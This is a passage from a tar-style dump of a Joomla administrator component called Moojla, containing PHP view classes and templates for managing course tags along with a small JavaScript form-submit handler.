			}
			// Courseid Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_SECTION_COURSEID_LABEL').'
-',
				'batch[courseid]',
				JHtml::_('select.options', $this->courseidOptions,
'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_SECTIONS'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/sections.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.courseid' =>
JText::_('COM_MOOJLA_SECTION_COURSEID_LABEL'),
			'a.section_id' =>
JText::_('COM_MOOJLA_SECTION_SECTION_ID_LABEL'),
			'a.name' =>
JText::_('COM_MOOJLA_SECTION_NAME_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/tag/submitbutton.js000064400000002740151165724410011562
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('tag, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/tag/tmpl/edit.php000064400000011217151165724410011076
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'tagTab', array('active' => 'details'));
?>

	<?php echo JHtml::_('bootstrap.addTab', 'tagTab',
'details', JText::_('COM_MOOJLA_TAG_DETAILS', true));
?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('tag.details_left',
$this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('tag.details_right',
$this); ?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'tagTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab', 'tagTab',
'publishing', JText::_('COM_MOOJLA_TAG_PUBLISHING',
true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('tag.publishing', $this);
?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('tag.publlshing', $this);
?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab', 'tagTab',
'permissions', JText::_('COM_MOOJLA_TAG_PERMISSION',
true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="tag.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/tag/tmpl/index.html000064400000000054151165724410011432
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tag/view.html.php000064400000015047151165724410011117
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Tag View class
 */
class MoojlaViewTag extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('tag',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ? 'COM_MOOJLA_TAG_NEW' :
'COM_MOOJLA_TAG_EDIT'), 'pencil-2 article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('tag.save', 'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('tag.save', 'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('tag.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('tag.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('tag.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('tag.save', 'JTOOLBAR_SAVE');
					JToolBarHelper::custom('tag.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('tag.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('tag.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('tag.save', 'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('tag.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('tag.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.tag',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('tag.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('tag.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('tag');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_TAG_NEW' : 'COM_MOOJLA_TAG_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/tag.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/tag/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/tags/index.html000064400000000054151165724410010641
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tags/tmpl/default.php000064400000005737151165724410011772
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen',
'.multipleAccessLevels', null,
array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_ACCESS') . ' -'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=tags.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'tagList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=tags');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped" id="tagList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_TAGS_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/tags/tmpl/default_batch_body.php000064400000002327151165724410014140
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo JText::_('COM_MOOJLA_TAGS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/tags/tmpl/default_batch_footer.php000064400000002725151165724410014503
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('tag.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/tags/tmpl/default_body.php000064400000007602151165724410013000
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=tags&task=tag.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('tag',$item,'tags');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->tagid); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'tags.',
$canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->tagid); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->tagname); ?>
		</td>
		<td class="hidden-phone">
			<?php echo JText::_($item->isstandard); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tags.', true, 'cb'); ?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tags.', false, 'cb'); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tags.', true, 'cb'); ?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'tags.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/tags/tmpl/default_foot.php000064400000002304151165724410013004
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/tags/tmpl/default_head.php000064400000005050151165724410012737
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_TAGID_LABEL', 'a.tagid',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_TAGNAME_LABEL', 'a.tagname',
$this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JText::_('COM_MOOJLA_TAG_ISSTANDARD_LABEL');
?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_TAG_STATUS'); ?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
	</th>
</tr>views/tags/tmpl/default_toolbar.php000064400000007047151165724410013510
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Tags'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
